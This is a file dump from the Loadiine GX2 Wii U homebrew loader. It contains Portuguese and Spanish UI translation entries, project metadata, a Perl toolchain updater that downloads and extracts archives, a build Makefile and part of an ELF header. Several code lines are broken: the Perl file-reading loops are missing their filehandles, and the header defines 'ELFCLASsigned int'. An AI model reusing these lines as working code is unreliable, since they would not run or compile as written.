#: src/menu/SettingsMenu.cpp:55
msgid "Credits"
msgstr "Créditos"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits to all contributors"
msgstr "Créditos a todos os contribuidores"
#: src/menu/SettingsMenu.cpp:60
msgid "Game View TV"
msgstr "Vista de jogos - TV"
#: src/menu/SettingsMenu.cpp:61
msgid "Game View DRC"
msgstr "Vista de jogos - DRC"
#: src/menu/SettingsMenu.cpp:66
msgid "Show Game Settings"
msgstr "Mostrar definições de jogos"
#: src/menu/SettingsMenu.cpp:67
msgid "Host IP"
msgstr "IP do hospedeiro"
#: src/menu/SettingsMenu.cpp:68
msgid "Game Path"
msgstr "Localização de jogos"
#: src/menu/SettingsMenu.cpp:69
msgid "Game Save Path"
msgstr "Localização de jogos guardados"
#: src/menu/SettingsMenu.cpp:70
msgid "Game Save Mode"
msgstr "Modo de guardamento"
#: src/menu/SettingsMenu.cpp:76
msgid "Log Server Control"
msgstr "Controlo do servidor de log"
#: src/menu/SettingsMenu.cpp:77
msgid "PyGecko"
msgstr "PyGecko"
#: src/menu/SettingsMenu.cpp:78
msgid "Padcon"
msgstr "Padcon"
#: src/menu/SettingsMenu.cpp:79
msgid "HID-Pad"
msgstr "HID-Pad"
#: src/menu/SettingsMenu.cpp:80
#, fuzzy
msgid "HID-Pad Rumble"
msgstr "HID-Pad"
#: src/menu/SettingsMenu.cpp:81
#, fuzzy
msgid "HID-Pad Network"
msgstr "HID-Pad"
#~ msgid "Art Atelier Mode"
#~ msgstr "Modo Art Atelier"
#~ msgid "Shared Mode"
#~ msgstr "Modo partilhado"
#~ msgid "Unique Mode"
#~ msgstr "Modo único"
#~ msgid "Mii Maker Mode"
#~ msgstr "Modo Criador Mii"
#~ msgid "Smash Bros Mode"
#~ msgstr "Modo Smash Bros."
#~ msgid "Karaoke Mode"
#~ msgstr "Modo Karaoke"
================================================
FILE: languages/spanish.lang
================================================
# Loadiine GX2 language source file.
# spanish.lang - v0.3
# don't delete/change this line (é).
msgid ""
msgstr ""
"Project-Id-Version: Loadiine GX2\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-08-28 11:40+0200\n"
"PO-Revision-Date: 2016-04-02 07:28+0200\n"
"Last-Translator: MasQchips\n"
"Language-Team: MasQchips\n"
"Language: Español\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
#: src/menu/CreditsMenu.cpp:69
msgid "Loadiine GX2"
msgstr ""
#: src/menu/CreditsMenu.cpp:76
msgid "Official Site:"
msgstr "Sitio Oficial:"
#: src/menu/CreditsMenu.cpp:89
msgid "Coding:"
msgstr "Codificación:"
#: src/menu/CreditsMenu.cpp:102
msgid "Design:"
msgstr "Diseño:"
#: src/menu/CreditsMenu.cpp:108
msgid "Some guy who doesn't want to be named."
msgstr "Alguien que no quiso ser identificado."
#: src/menu/CreditsMenu.cpp:115
msgid "Testing:"
msgstr "Pruebas:"
#: src/menu/CreditsMenu.cpp:121
msgid "Cyan / Maschell / n1ghty / OnionKnight and many more"
msgstr "Cyan / Maschell / n1ghty / OnionKnight y muchos mas"
#: src/menu/CreditsMenu.cpp:128
msgid "Social Presence:"
msgstr "Presencia Social:"
#: src/menu/CreditsMenu.cpp:141
msgid "Based on:"
msgstr "Basado en:"
#: src/menu/CreditsMenu.cpp:147
msgid "Loadiine v4.0 by Golden45 and Dimok"
msgstr "Loadiine v4.0 de Golden45 y Dimok"
#: src/menu/CreditsMenu.cpp:154
msgid "Big thanks to:"
msgstr "Muchas Gracias a:"
#: src/menu/CreditsMenu.cpp:160
msgid "lustar for GameTDB and hosting covers / disc images"
msgstr "lustar de GameTDB y alojamiento de caratulas"
#: src/menu/CreditsMenu.cpp:167
msgid "Marionumber1 for his kernel exploit"
msgstr "Marionumber1 por su kernel exploit"
#: src/menu/CreditsMenu.cpp:174
msgid "The whole libwiiu team and it's contributors."
msgstr "Todo el equipo de libwiiu y sus colaboradores."
#: src/menu/GameLauncherMenu.cpp:52
msgid "Extra Save:"
msgstr ""
#: src/menu/GameLauncherMenu.cpp:53
msgid "Enable DLC Support:"
msgstr "Activar Soporte DLC"
#: src/menu/GameLauncherMenu.cpp:76
msgid "Update Folder"
msgstr "Actualizar Carpeta"
#: src/menu/GameLauncherMenu.cpp:77
msgid "Save Mode"
msgstr "Modo de Guardado"
#: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75
msgid "Launch Mode"
msgstr "Modo de Carga"
#: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94
#, fuzzy
msgid ""
msgstr ""
#: src/menu/GameLauncherMenu.cpp:492
msgid "Saving game settings!"
msgstr "Guardando ajustes del juego!"
#: src/menu/SettingsMenu.cpp:32
msgid "Off"
msgstr "Apagado"
#: src/menu/SettingsMenu.cpp:33
msgid "On"
msgstr "Encendido"
#: src/menu/SettingsMenu.cpp:38
msgid "Icon Carousel"
msgstr "Carrusel de Iconos"
#: src/menu/SettingsMenu.cpp:39
msgid "Grid View"
msgstr "Vista de Rejilla"
#: src/menu/SettingsMenu.cpp:40
msgid "Cover Carousel"
msgstr "Carrusel de Caratulas"
#: src/menu/SettingsMenu.cpp:52
msgid "Background customizations"
msgstr "Personalización del fondo"
#: src/menu/SettingsMenu.cpp:52
msgid "GUI"
msgstr ""
#: src/menu/SettingsMenu.cpp:52
msgid "Game View Selection"
msgstr "Vista de selección del juego"
#: src/menu/SettingsMenu.cpp:53
msgid "Adjust log server IP and port"
msgstr "Ajustar IP y puerto del servidor"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize games path"
msgstr "Personalizar ruta del juego"
#: src/menu/SettingsMenu.cpp:53
msgid "Customize save path"
msgstr "Personalizar ruta de guardado"
#: src/menu/SettingsMenu.cpp:53
msgid "Loader"
msgstr "Cargador"
#: src/menu/SettingsMenu.cpp:53
msgid "Set save mode"
msgstr "Establecer modo de guardado"
#: src/menu/SettingsMenu.cpp:54
msgid "Game"
msgstr "Juego"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "HID settings"
msgstr "Configuracion HID"
#: src/menu/SettingsMenu.cpp:54
msgid "Launch method selection"
msgstr "Seleccionar metodo de carga"
#: src/menu/SettingsMenu.cpp:54
msgid "Log server control"
msgstr "Iniciar servidor"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "Padcon settings"
msgstr "Configuracion HID"
#: src/menu/SettingsMenu.cpp:54
#, fuzzy
msgid "PyGecko settings"
msgstr "Configuracion HID"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits"
msgstr "Creditos"
#: src/menu/SettingsMenu.cpp:55
msgid "Credits to all contributors"
msgstr "Créditos de los colaboladores"
#: src/menu/SettingsMenu.cpp:60
msgid "Game View TV"
msgstr "Vista del Juego TV"
#: src/menu/SettingsMenu.cpp:61
msgid "Game View DRC"
msgstr "Vista del Juego DRC"
#: src/menu/SettingsMenu.cpp:66
msgid "Show Game Settings"
msgstr "Mostrar Configuracion del Juego"
#: src/menu/SettingsMenu.cpp:67
msgid "Host IP"
msgstr ""
#: src/menu/SettingsMenu.cpp:68
msgid "Game Path"
msgstr "Ruta del Juego"
#: src/menu/SettingsMenu.cpp:69
msgid "Game Save Path"
msgstr "Ruta de guardado"
#: src/menu/SettingsMenu.cpp:70
msgid "Game Save Mode"
msgstr "Modo de Guardado"
#: src/menu/SettingsMenu.cpp:76
msgid "Log Server Control"
msgstr "Control de Registros"
#: src/menu/SettingsMenu.cpp:77
#, fuzzy
msgid "PyGecko"
msgstr "Configuracion HID"
#: src/menu/SettingsMenu.cpp:78
msgid "Padcon"
msgstr ""
#: src/menu/SettingsMenu.cpp:79
msgid "HID-Pad"
msgstr ""
#: src/menu/SettingsMenu.cpp:80
msgid "HID-Pad Rumble"
msgstr ""
#: src/menu/SettingsMenu.cpp:81
msgid "HID-Pad Network"
msgstr ""
#~ msgid "Art Atelier Mode"
#~ msgstr "Modo Art Atelier"
#~ msgid "Shared Mode"
#~ msgstr "Modo Compartido"
#~ msgid "Unique Mode"
#~ msgstr "Modo Unico"
#~ msgid "Mii Maker Mode"
#~ msgstr "Modo Mii Maker"
#~ msgid "Smash Bros Mode"
#~ msgstr "Modo Smash Bros"
#~ msgid "Karaoke Mode"
#~ msgstr "Modo Karaoke"
#~ msgid "Log Server IP"
#~ msgstr "IP del Servidor"
================================================
FILE: meta/meta.xml
================================================
Loadiine GX2
Dimok, Maschell, n1ghty, dibas
0.3 r39c1591
20160804094703
WiiU game loader
Loads games from SD card.
Compatibility list:
http://wiki.gbatemp.net/wiki/Loadiine_compatibility_list
Sources:
https://github.com/dimok789/loadiine_gx2
================================================
FILE: other/devkitPPCupdatePPCr29.pl
================================================
#!/usr/bin/perl
#-----------------------------------------------------------------------------
#
# Copyright (C) 2011 - 2016
# Michael Theall (mtheall)
# Dave Murphy (WinterMute)
#
# This software is provided 'as-is', without any express or implied
# warranty. In no event will the authors be held liable for any
# damages arising from the use of this software.
#
# Permission is granted to anyone to use this software for any
# purpose, including commercial applications, and to alter it and
# redistribute it freely, subject to the following restrictions:
#
# 1. The origin of this software must not be misrepresented; you
# must not claim that you wrote the original software. If you use
# this software in a product, an acknowledgment in the product
# documentation would be appreciated but is not required.
# 2. Altered source versions must be plainly marked as such, and
# must not be misrepresented as being the original software.
# 3. This notice may not be removed or altered from any source
# distribution.
#
#-----------------------------------------------------------------------------
use strict;
my $dir = "$ENV{HOME}/devkitPro";
my $downloader;
my $archname;
if($ENV{"DEVKITPRO"} ne "")
{
$dir = $ENV{"DEVKITPRO"};
}
if($#ARGV eq 0)
{
$dir = $ARGV[0];
}
# Ensure full pathname
if(!($dir =~ /^\//))
{
my $pwd = `pwd`;
chomp($pwd);
$dir = "$pwd/$dir";
}
printf("devkitPPC Updater/Installer\n");
printf("Installing to %s\n", $dir);
# Get OS information
my $os = `uname`;
my $arch = `uname -m`;
chomp($os);
chomp($arch);
# Check OS information
if($os eq "Linux" and ($arch eq "i686" or $arch eq "x86_64"))
{
$downloader = "wget -q";
$archname = $arch . "-linux";
}
elsif($os eq "Darwin" and ($arch eq "i386" or $arch eq "x86_64"))
{
$downloader = "curl -L -O -s";
$archname = $arch . "-osx";
}
else
{
printf(STDERR "Not on Linux i686/x86_64 or Darwin i386/x86_64!\n");
exit(1);
}
# Set up directories
if(!(-d "$dir"))
{
mkdir("$dir") or die $!;
}
if(!(-d "$dir/libogc"))
{
mkdir("$dir/libogc") or die $!;
}
if(!(-d "$dir/examples"))
{
mkdir("$dir/examples") or die $!;
}
if(!(-d "$dir/examples/wii"))
{
mkdir("$dir/examples/wii") or die $!;
}
if(!(-d "$dir/examples/gamecube"))
{
mkdir("$dir/examples/gamecube") or die $!;
}
# Grab update file
if(-e "devkitProUpdatePPCr29.ini")
{
unlink("devkitProUpdatePPCr29.ini") or die $!;
}
printf("Downloading update file...");
system($downloader . " https://raw.githubusercontent.com/dimok789/loadiine_gx2/master/other/devkitProUpdatePPCr29.ini") and die "Failed to download!";
printf("OK!\n");
# Initialize versions & newVersions
my %versions =
(
'devkitPPC' => 0,
'libogc' => 0,
'libogcfat' => 0,
'wiiexamples' => 0,
'cubeexamples' => 0,
);
my %newVersions = %versions;
my %files = ();
my $current = "";
if(-e "$dir/dkppc-update.ini")
{
open(MYFILE, "<$dir/dkppc-update.ini") or die $!;
while()
{
chomp;
if($_ =~ /\[(.*)\]/)
{
$current = $1;
}
elsif($_ =~ /Version=(.*)/ and defined($versions{$current}))
{
$versions{$current} = $1;
}
elsif($_ =~ /File=(.*)/)
{
$files{$current} = $1;
}
}
close(MYFILE);
}
my %newFiles = ();
open(MYFILE, ")
{
chomp;
if($_ =~ /\[(.*)\]/)
{
$current = $1;
}
elsif($_ =~ /Version=(.*)/ and defined($newVersions{$current}))
{
$newVersions{$current} = $1;
}
elsif($_ =~ /File=(.*)/)
{
$newFiles{$current} = $1;
}
}
close(MYFILE);
unlink("devkitProUpdatePPCr29.ini") or die $!;
# see what to update
my %updates = ();
foreach my $key (keys %versions)
{
if($versions{$key} ne $newVersions{$key} and $newVersions{$key} ne 0)
{
$newFiles{$key} =~ s/win32\.exe/$archname.tar.bz2/;
$updates{$key} = $newFiles{$key};
}
else
{
printf("%s is up-to-date\n", $key);
}
}
# Download files
foreach my $key (keys %updates)
{
printf("Update %s with %s\n", $key, $updates{$key});
if(-e $updates{$key})
{
unlink($updates{$key});
}
my $cmd = sprintf("%s http://download.sourceforge.net/devkitpro/%s", $downloader, $updates{$key});
printf(" Downloading...");
system($cmd) and die "Failed to download $updates{$key}\n";
printf("OK!\n");
}
# Install files
my %install =
(
'devkitPPC' => '',
'libogc' => 'libogc',
'libogcfat' => 'libogc',
'wiiexamples' => 'examples/wii',
'cubeexamples' => 'examples/gamecube',
);
foreach my $key (keys %updates)
{
my $cmd = sprintf("tar -xjf %s -C $dir/%s", $updates{$key}, $install{$key});
printf("Extracting %s...", $updates{$key});
system($cmd) and die "Failed\n";
printf("OK!\n");
}
# Output update info
open(MYFILE, ">$dir/dkppc-update.ini") or die $!;
foreach my $key (keys %newVersions)
{
printf(MYFILE "[%s]\n", $key);
printf(MYFILE "Version=%s\n", $newVersions{$key});
printf(MYFILE "File=%s\n", $newFiles{$key});
printf(MYFILE "\n");
}
close(MYFILE);
# Check environment variables
printf("Checking DEVKITPRO...");
my $env = `echo \$DEVKITPRO`;
chomp($env);
if($env ne "$dir")
{
printf("Please set DEVKITPRO in your environment as $dir\n");
}
else
{
printf("OK!\n");
}
printf("Checking DEVKITPPC...");
$env = `echo \$DEVKITPPC`;
chomp($env);
if($env ne "$dir/devkitPPC")
{
printf("Please set DEVKITPPC in your environment as \${DEVKITPRO}/devkitPPC\n");
}
else
{
printf("OK!\n");
}
exit(0);
================================================
FILE: other/devkitProUpdatePPCr29.ini
================================================
[devkitProUpdate]
Build=46
URL=http://downloads.sourceforge.net/devkitpro
Filename=devkitProUpdater-1.6.0.exe
[msys]
Version=1.0.17-1
File=msys-1.0.17-1.exe
Size=118660
[devkitARM]
Version=46
File=devkitARM_r46-win32.exe
Size=70461
[devkitPPC]
Version=29-1
File=devkitPPC_r29-1-win32.exe
Size=65356
[devkitPSP]
Version=16-1
File=devkitPSP_r16-1-win32.exe
Size=70915
[pspdoc]
Version=20051113
File=pspsdk-doc-20051113.tar.bz2
Size=9344
[libgba]
Version=0.5.0
File=libgba-0.5.0.tar.bz2
Size=268
[libgbafat]
Version=1.1.0
File=libfat-gba-1.1.0.tar.bz2
Size=241
[maxmodgba]
Version=1.0.10
File=maxmod-gba-1.0.10.tar.bz2
Size=
[libnds]
Version=1.6.2
File=libnds-1.6.2.tar.bz2
Size=470
[libndsfat]
Version=1.1.0
File=libfat-nds-1.1.0.tar.bz2
Size=272
[maxmodds]
Version=1.0.10
File=maxmod-nds-1.0.10.tar.bz2
Size=
[dswifi]
Version=0.4.0
File=dswifi-0.4.0.tar.bz2
Size=496
[libctru]
Version=1.2.1
File=libctru-1.2.1.tar.bz2
Size=371
[citro3d]
Version=1.2.0
File=citro3d-1.2.0.tar.bz2
Size=371
[libmirko]
Version=0.9.7
File=libmirko-0.9.7.tar.bz2
Size=1056
[libogc]
Version=1.8.16
File=libogc-1.8.16.tar.bz2
Size=2748
[libogcfat]
Version=1.1.0
File=libfat-ogc-1.1.0.tar.bz2
Size=481
[pnotepad]
Version=2.0.8.718
File=pn2.0.8.718.zip
Size=4958
[insight]
Version=7.3.50.20110803
File=insight-7.3.50.20110803-cvs.exe
Size=32932
[ndsexamples]
Version=20170124
File=nds-examples-20170124.tar.bz2
Size=1191
[defaultarm7]
Version=0.7.1
File=default_arm7-0.7.1.tar.bz2
Size=9
[filesystem]
Version=0.9.13-1
File=libfilesystem-0.9.13-1.tar.bz2
Size=9
[gbaexamples]
Version=20170228
File=gba-examples-20170228.tar.bz2
Size=1019
[gp32examples]
Version=20051021
File=gp32-examples-20051021.tar.bz2
Size=732
[cubeexamples]
Version=20170228
File=gamecube-examples-20170228.tar.bz2
Size=198
[wiiexamples]
Version=20170228
File=wii-examples-20170228.tar.bz2
Size=93
[3dsexamples]
Version=20170226
File=3ds-examples-20170226.tar.bz2
Size=93
[gcube]
Version=0.4.0
File=gcube-0.4.0-win32.tar.bz2
Size=1234
[Settings]
RTL=0
================================================
FILE: sd_loader/Makefile
================================================
#---------------------------------------------------------------------------------
# Clear the implicit built in rules
#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------
ifeq ($(strip $(DEVKITPPC)),)
$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC")
endif
export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH)
export LIBOGC_INC := $(DEVKITPRO)/libogc/include
export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii
export PORTLIBS := $(DEVKITPRO)/portlibs/ppc
PREFIX := powerpc-eabi-
export AS := $(PREFIX)as
export CC := $(PREFIX)gcc
export CXX := $(PREFIX)g++
export AR := $(PREFIX)ar
export OBJCOPY := $(PREFIX)objcopy
#---------------------------------------------------------------------------------
# TARGET is the name of the output
# BUILD is the directory where object files & intermediate files will be placed
# SOURCES is a list of directories containing source code
# INCLUDES is a list of directories containing extra header files
#---------------------------------------------------------------------------------
TARGET := sd_loader
BUILD := build
BUILD_DBG := $(TARGET)_dbg
SOURCES := src
DATA :=
INCLUDES :=
#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math -fno-builtin \
-Os -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
ASFLAGS := -mregnames
LDFLAGS := -nostartfiles -Wl,--gc-sections
Q := @
MAKEFLAGS += --no-print-directory
#---------------------------------------------------------------------------------
# any extra libraries we wish to link with the project
#---------------------------------------------------------------------------------
LIBS :=
#---------------------------------------------------------------------------------
# list of directories containing libraries, this must be the top level containing
# include and lib
#---------------------------------------------------------------------------------
LIBDIRS := $(CURDIR) \
$(DEVKITPPC)/lib \
$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2
#---------------------------------------------------------------------------------
# no real need to edit anything past this point unless you need to add additional
# rules for different file extensions
#---------------------------------------------------------------------------------
ifneq ($(BUILD),$(notdir $(CURDIR)))
#---------------------------------------------------------------------------------
export PROJECTDIR := $(CURDIR)
export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET)
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
export DEPSDIR := $(CURDIR)/$(BUILD)
#---------------------------------------------------------------------------------
# automatically build a list of object files for our project
#---------------------------------------------------------------------------------
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S)))
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf)))
PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png)))
#---------------------------------------------------------------------------------
# use CXX for linking C++ projects, CC for standard C
#---------------------------------------------------------------------------------
ifeq ($(strip $(CPPFILES)),)
export LD := $(CC)
else
export LD := $(CXX)
endif
export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \
$(sFILES:.s=.o) $(SFILES:.S=.o) \
$(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES))
#---------------------------------------------------------------------------------
# build a list of include paths
#---------------------------------------------------------------------------------
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
-I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \
-I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2
#---------------------------------------------------------------------------------
# build a list of library paths
#---------------------------------------------------------------------------------
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \
-L$(LIBOGC_LIB) -L$(PORTLIBS)/lib
export OUTPUT := $(CURDIR)/$(TARGET)
.PHONY: $(BUILD) clean install
#---------------------------------------------------------------------------------
$(BUILD):
@[ -d $@ ] || mkdir -p $@
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
#---------------------------------------------------------------------------------
clean:
@echo clean ...
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf
#---------------------------------------------------------------------------------
else
DEPENDS := $(OFILES:.o=.d)
#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
$(OUTPUT).elf: $(OFILES)
#---------------------------------------------------------------------------------
# This rule links in binary data with the .jpg extension
#---------------------------------------------------------------------------------
%.elf: link.ld $(OFILES)
@echo "linking ... $(TARGET).elf"
$(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS)
$(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@
#---------------------------------------------------------------------------------
%.a:
#---------------------------------------------------------------------------------
@echo $(notdir $@)
@rm -f $@
@$(AR) -rc $@ $^
#---------------------------------------------------------------------------------
%.o: %.cpp
@echo $(notdir $<)
@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER)
#---------------------------------------------------------------------------------
%.o: %.c
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER)
#---------------------------------------------------------------------------------
%.o: %.S
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER)
#---------------------------------------------------------------------------------
%.png.o : %.png
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
#---------------------------------------------------------------------------------
%.ttf.o : %.ttf
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
-include $(DEPENDS)
#---------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------
================================================
FILE: sd_loader/src/elf_abi.h
================================================
/*
* Copyright (c) 1995, 1996, 2001, 2002
* Erik Theisen. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* This is the ELF ABI header file
* formerly known as "elf_abi.h".
*/
#ifndef _ELF_ABI_H
#define _ELF_ABI_H
/*
* This version doesn't work for 64-bit ABIs - Erik.
*/
/*
* These typedefs need to be handled better.
*/
typedef unsigned int Elf32_Addr; /* Unsigned program address */
typedef unsigned int Elf32_Off; /* Unsigned file offset */
typedef signed int Elf32_Sword; /* Signed large integer */
typedef unsigned int Elf32_Word; /* Unsigned large integer */
typedef unsigned short Elf32_Half; /* Unsigned medium integer */
/* e_ident[] identification indexes */
#define EI_MAG0 0 /* file ID */
#define EI_MAG1 1 /* file ID */
#define EI_MAG2 2 /* file ID */
#define EI_MAG3 3 /* file ID */
#define EI_CLASS 4 /* file class */
#define EI_DATA 5 /* data encoding */
#define EI_VERSION 6 /* ELF header version */
#define EI_OSABI 7 /* OS/ABI specific ELF extensions */
#define EI_ABIVERSION 8 /* ABI target version */
#define EI_PAD 9 /* start of pad bytes */
#define EI_NIDENT 16 /* Size of e_ident[] */
/* e_ident[] magic number */
#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */
#define ELFMAG1 'E' /* e_ident[EI_MAG1] */
#define ELFMAG2 'L' /* e_ident[EI_MAG2] */
#define ELFMAG3 'F' /* e_ident[EI_MAG3] */
#define ELFMAG "\177ELF" /* magic */
#define SELFMAG 4 /* size of magic */
/* e_ident[] file class */
#define ELFCLASSNONE 0 /* invalid */
#define ELFCLASsigned int 1 /* 32-bit objs */
#define ELFCLASS64 2 /* 64-bit objs */
#define ELFCLASSNUM 3 /* number of classes */
/* e_ident[] data encoding */
#define ELFDATANONE 0 /* invalid */
#define ELFDATA2LSB 1 /* Little-Endian */
#define ELFDATA2MSB 2 /* Big-Endian */
#define ELFDATANUM 3 /* number of data encode defines */
/* e_ident[] OS/ABI specific ELF extensions */
#define ELFOSABI_NONE 0 /* No extension specified */
#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */
#define ELFOSABI_NETBSD 2 /* NetBSD */
#define ELFOSABI_LINUX 3 /* Linux */
#define ELFOSABI_SOLARIS 6 /* Sun Solaris */
#define ELFOSABI_AIX 7 /* AIX */
#define ELFOSABI_IRIX 8 /* IRIX */
#define ELFOSABI_FREEBSD 9 /* FreeBSD */
#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */
#define ELFOSABI_MODESTO 11 /* Novell Modesto */
#define ELFOSABI_OPENBSD 12 /* OpenBSD */
/* 64-255 Architecture-specific value range */
/* e_ident[] ABI Version */
#define ELFABIVERSION 0
/* e_ident */
#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \
(ehdr).e_ident[EI_MAG1] == ELFMAG1 && \
(ehdr).e_ident[EI_MAG2] == ELFMAG2 && \
(ehdr).e_ident[EI_MAG3] == ELFMAG3)
/* ELF Header */
typedef struct elfhdr{
unsigned char e_ident[EI_NIDENT]; /* ELF Identification */
Elf32_Half e_type; /* object file type */
Elf32_Half e_machine; /* machine */
Elf32_Word e_version; /* object file version */
Elf32_Addr e_entry; /* virtual entry point */
Elf32_Off e_phoff; /* program header table offset */
Elf32_Off e_shoff; /* section header table offset */
Elf32_Word e_flags; /* processor-specific flags */
Elf32_Half e_ehsize; /* ELF header size */
Elf32_Half e_phentsize; /* program header entry size */
Elf32_Half e_phnum; /* number of program header entries */
Elf32_Half e_shentsize; /* section header entry size */
Elf32_Half e_shnum; /* number of section header entries */
Elf32_Half e_shstrndx; /* section header table's "section
header string table" entry offset */
} Elf32_Ehdr;
/* e_type */
#define ET_NONE 0 /* No file type */
#define ET_REL 1 /* relocatable file */
#define ET_EXEC 2 /* executable file */
#define ET_DYN 3 /* shared object file */
#define ET_CORE 4 /* core file */
#define ET_NUM 5 /* number of types */
#define ET_LOOS 0xfe00 /* reserved range for operating */
#define ET_HIOS 0xfeff /* system specific e_type */
#define ET_LOPROC 0xff00 /* reserved range for processor */
#define ET_HIPROC 0xffff /* specific e_type */
/* e_machine */
#define EM_NONE 0 /* No Machine */
#define EM_M32 1 /* AT&T WE 32100 */
#define EM_SPARC 2 /* SPARC */
#define EM_386 3 /* Intel 80386 */
#define EM_68K 4 /* Motorola 68000 */
#define EM_88K 5 /* Motorola 88000 */
#if 0
#define EM_486 6 /* RESERVED - was Intel 80486 */
#endif
#define EM_860 7 /* Intel 80860 */
#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */
#define EM_S370 9 /* IBM System/370 Processor */
#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */
#if 0
#define EM_SPARC64 11 /* RESERVED - was SPARC v9
64-bit unoffical */
#endif
/* RESERVED 11-14 for future use */
#define EM_PARISC 15 /* HPPA */
/* RESERVED 16 for future use */
#define EM_VPP500 17 /* Fujitsu VPP500 */
#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */
#define EM_960 19 /* Intel 80960 */
#define EM_PPC 20 /* PowerPC */
#define EM_PPC64 21 /* 64-bit PowerPC */
#define EM_S390 22 /* IBM System/390 Processor */
/* RESERVED 23-35 for future use */
#define EM_V800 36 /* NEC V800 */
#define EM_FR20 37 /* Fujitsu FR20 */
#define EM_RH32 38 /* TRW RH-32 */
#define EM_RCE 39 /* Motorola RCE */
#define EM_ARM 40 /* Advanced Risc Machines ARM */
#define EM_ALPHA 41 /* Digital Alpha */
#define EM_SH 42 /* Hitachi SH */
#define EM_SPARCV9 43 /* SPARC Version 9 */
#define EM_TRICORE 44 /* Siemens TriCore embedded processor */
